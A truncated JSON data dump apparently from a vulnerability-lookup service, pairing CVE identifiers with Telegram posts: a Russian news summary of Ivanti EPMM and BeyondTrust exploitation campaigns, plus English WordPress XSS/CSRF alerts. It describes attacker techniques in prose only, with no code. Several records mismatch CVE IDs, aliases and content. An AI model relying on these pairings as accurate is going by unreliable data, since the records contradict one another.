\u043c\u0438\u0440\u0443, \u043d\u043e\u0432\u0443\u044e CVE-2026-1731 \u0432 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u0435 \u0442\u043e\u0447\u043d\u043e \u0431\u0443\u0434\u0443\u0442 \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c. \u041d\u043e \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2026-02-09T17:30:06.000000Z"}, {"uuid": "b4200f6a-3c31-40e7-a9f8-eeec5dc09b7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "https://t.me/true_secator/7934", "content": "Palo Alto Networks \u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0440\u0435\u0437\u043a\u043e\u0435 \u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u0438\u0435 \u0447\u0438\u0441\u043b\u0430 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u0432\u0443\u0445 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 0-day Ivanti Endpoint Manager Mobile (EPMM).\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 CVE-2026-1281 \u0438 CVE-2026-1340 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c\u0438, \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0434\u043b\u044f RCE \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u043c\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 (MDM).\n\nIvanti \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430\u00a0\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\u00a0\u0432 \u043a\u043e\u043d\u0446\u0435 \u044f\u043d\u0432\u0430\u0440\u044f, \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0435\u0439 \u0431\u044b\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u00ab\u043e\u0447\u0435\u043d\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432\u00bb.\n\n\u0412\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u0448\u0438\u0440\u043e\u043a\u043e\u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0441 \u0447\u0435\u043c \u0438 \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u0432 Palo Alto Networks, \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u044f \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 \u0430\u0442\u0430\u043a.\u00a0\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u043d\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Ivanti, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0432\u0435\u0431-\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438, \u043c\u0430\u0439\u043d\u0435\u0440\u044b \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440.\n\n\u0412 Palo Alto \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u0443\u0442\u0438\u043b\u0438\u0442\u0443 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c\u00a0Nezha\u00a0(\u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0441 \u041a\u041d\u0420), \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044e\u0442 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0435 \u0448\u0435\u043b\u043b-\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443.\n\n\u0412\u043c\u0435\u0441\u0442\u0435 \u0441 \u0442\u0435\u043c, \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u0445 \u043d\u0435\u0442 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0439 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 CVE-2026-1281 \u0438 CVE-2026-1340, \u043a\u043e\u0442\u043e\u0440\u044b\u0435, \u0435\u0441\u043b\u0438 \u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0435\u043c\u0435\u0446\u043a\u043e\u0439 BSI, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0435\u0449\u0435 \u0441 \u0438\u044e\u043b\u044f 2025 \u0433\u043e\u0434\u0430.\n\n\u041d\u0430\u0440\u044f\u0434\u0443 \u0441 Ivanti \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u0432 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u0435, \u043a\u0430\u043a \u043c\u044b \u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u043b\u0438, \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438 BeyondTrust \u0441 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 CVE-2026-1731\u00a0(CVSS: 9,9) \u0432 Remote Support (RS) \u0438 Privileged Remote Access (PRA), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0448\u0438\u0440\u043e\u043a\u043e\u0433\u043e \u0441\u043f\u0435\u043a\u0442\u0440\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439:\n\n\u0412 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u044b \u0430\u0442\u0430\u043a, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0432\u0430\u0440\u044c\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043e\u0442 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0434\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f:\n\n- \u0417\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043d\u0430 Python \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438.\n\n- \u0412\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0432\u0435\u0431-\u043e\u0431\u043e\u043b\u043e\u0447\u0435\u043a \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f PHP-\u0431\u044d\u043a\u0434\u043e\u0440, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043d\u0435\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0439 PHP-\u043a\u043e\u0434 \u0438\u043b\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 PHP-\u043a\u043e\u0434 \u0431\u0435\u0437 \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u043e\u0432\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0434\u0438\u0441\u043a, \u0430 \u0442\u0430\u043a\u0436\u0435 bash-\u0434\u0440\u043e\u043f\u043f\u0435\u0440, \u0441\u043e\u0437\u0434\u0430\u044e\u0449\u0438\u0439 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u0443\u044e \u0432\u0435\u0431-\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443.\n\n- \u0420\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e, \u0442\u0430\u043a\u043e\u0433\u043e \u043a\u0430\u043a\u00a0VShell \u0438 Spark RAT.\n\n- \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0432\u043d\u0435\u043f\u043e\u043b\u043e\u0441\u043d\u043e\u0433\u043e \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (OAST) \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c, \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043e\u0442\u043f\u0435\u0447\u0430\u0442\u043a\u043e\u0432 \u043f\u0430\u043b\u044c\u0446\u0435\u0432.\n\n- \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u0434\u043b\u044f \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438, \u0441\u0436\u0430\u0442\u0438\u044f \u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u0430\u043c\u043f PostgreSQL, \u043d\u0430 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u0412\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u0431\u044b\u043b\u0430 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 \u0441\u0435\u043a\u0442\u043e\u0440\u044b \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0445 \u0443\u0441\u043b\u0443\u0433, \u044e\u0440\u0438\u0434\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u0441\u043b\u0443\u0433, \u0432\u044b\u0441\u043e\u043a\u0438\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439, \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044f, \u0442\u043e\u0440\u0433\u043e\u0432\u043b\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432 \u0421\u0428\u0410, \u0424\u0440\u0430\u043d\u0446\u0438\u0438, \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u0438, \u0410\u0432\u0441\u0442\u0440\u0430\u043b\u0438\u0438 \u0438 \u041a\u0430\u043d\u0430\u0434\u0435.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u0430\u043a \u0441\u0431\u043e\u0439 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 thin-scc-wrapper, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 WebSocket, \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0430\u043a\u0446\u0435\u043d\u0442\u0438\u0440\u0443\u044e\u0442 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0432\u0437\u0430\u0438\u043c\u043e\u0441\u0432\u044f\u0437\u044c \u043c\u0435\u0436\u0434\u0443 CVE-2026-1731 \u0438\u00a0CVE-2024-12356, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0449\u0443\u044e \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u0443\u044e, \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0449\u0443\u044e\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0443\u0442\u044f\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.\n\n\u0418, \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0432\u0448\u0438\u0435\u0441\u044f \u0441\u043b\u0443\u0447\u0430\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f CVE-2024-12356 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u043c\u0438 APT, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 Silk Typhoon, \u0432 Palo Alto \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e CVE-2026-1731 \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u0430\u0442\u044c \u0446\u0435\u043b\u044c\u044e \u0434\u043b\u044f \u043f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u044b\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u041d\u043e \u0431\u0443\u0434\u0435\u043c, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2026-02-20T18:00:09.000000Z"}, {"uuid": "234bd9d8-4480-4c6c-8f49-b444a8b8d849", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1229", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/31", "content": "\ud83d\udccc CVE ID: GHSA-jrxv-486p-m4jq\n\ud83d\udd39 Summary: No summary available.\n\ud83d\udd17 More Info: https://nvd.nist.gov/vuln/detail/CVE-2024-1229", "creation_timestamp": "2025-01-05T01:28:36.000000Z"}, {"uuid": "d807269c-6f5f-46a7-9fed-60fe15b22d8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12221", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/111", "content": "\ud83d\udccc **CVE ID**: GHSA-cvj8-48rm-vmhr\n\ud83d\udd17 **Aliases**: CVE-2024-12221\n\ud83d\udd39 **Details**: The Turnkey bbPress by WeaverTheme plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018_wpnonce\u2019 parameter in all versions up to, and including, 1.6.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udd22 **Severity**: CVSS_V3: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n\ud83d\uddd3\ufe0f **Modified**: 2025-01-04T12:30:32Z\n\ud83d\uddd3\ufe0f **Published**: 2025-01-04T12:30:32Z\n\ud83c\udff7\ufe0f **CWE IDs**: CWE-79\n\ud83d\udd17 **References**:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12221\n2. https://plugins.trac.wordpress.org/changeset/320943\n3. https://wordpress.org/plugins/weaver-for-bbpress\n4. https://www.wordfence.com/threat-intel/vulnerabilities/id/35c608c3-9c28-4e0d-b0ec-d0a29fccd3b?source=cve", "creation_timestamp": "2025-01-05T01:39:23.000000Z"}, {"uuid": "e77ce592-20b1-4b54-9d47-7b9457283d0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12602", "type": "seen", "source": "https://t.me/cvedetector/17394", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12602 - Netflix ParamWatcher Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-12602 \nPublished : Feb. 6, 2025, 1:15 p.m. | 1\u00a0hour, 20\u00a0minutes ago \nDescription : Identity verification vulnerability in the ParamWatcher module  \nImpact: Successful exploitation of this vulnerability may affect service confidentiality. \nSeverity: 6.2 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-06T16:04:04.000000Z"}, {"uuid": "29f452a4-9260-4c4a-b4f5-e81d269687e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12453", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/321", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12453\n\ud83d\udd39 Description: The Uptodown APK Download Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'utd-widget' shortcode in all versions up to, and including, 0.1.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T04:22:15.374Z\n\ud83d\udccf Modified: 2025-01-07T04:22:15.374Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/78c2d5fc-240a-4fed-92ae-b9f84de3e119?source=cve\n2. https://plugins.trac.wordpress.org/browser/uptodown-apk-download-widget/trunk/uptodown_wp_widget.php#L47\n3. https://wordpress.org/plugins/uptodown-apk-download-widget", "creation_timestamp": "2025-01-07T04:38:50.000000Z"}, {"uuid": "16e6df49-a8f7-4665-a20a-ce7cae624a9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12599", "type": "seen", "source": "Telegram/aSAkW0Hd1lYw4lMse1B7qTjY3rmkNgjzm9ftw5UOLFbYH4Ap", "content": "", "creation_timestamp": "2025-02-14T10:01:38.000000Z"}, {"uuid": "e4025e2b-fde7-4cf2-b613-42755a0cafb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12279", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/110", "content": "\ud83d\udccc **CVE ID**: GHSA-jrxv-486p-m4jq\n\ud83d\udd17 **Aliases**: CVE-2024-12279\n\ud83d\udd39 **Details**: The WP Social AutoConnect plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.6.2. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udd22 **Severity**: CVSS_V3: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n\ud83d\uddd3\ufe0f **Modified**: 2025-01-04T12:30:32Z\n\ud83d\uddd3\ufe0f **Published**: 2025-01-04T12:30:32Z\n\ud83c\udff7\ufe0f **CWE IDs**: CWE-352\n\ud83d\udd17 **References**:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-1229\n2. https://plugins.trac.wordpress.org/changeset/32115\n3. https://wordpress.org/plugins/wp-fb-autoconnect/#developers\n4. https://www.wordfence.com/threat-intel/vulnerabilities/id/392d8286-a5fd-4d5d-9f6a-f13564013edc?source=cve", "creation_timestamp": "2025-01-05T01:39:15.000000Z"}, {"uuid": "a218a6bd-0d46-4548-9e1c-8ccf2169b27a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1229", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/110", "content": "\ud83d\udccc **CVE ID**: GHSA-jrxv-486p-m4jq\n\ud83d\udd17 **Aliases**: CVE-2024-12279\n\ud83d\udd39 **Details**: The WP Social AutoConnect plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.6.2. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udd22 **Severity**: CVSS_V3: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n\ud83d\uddd3\ufe0f **Modified**: 2025-01-04T12:30:32Z\n\ud83d\uddd3\ufe0f **Published**: 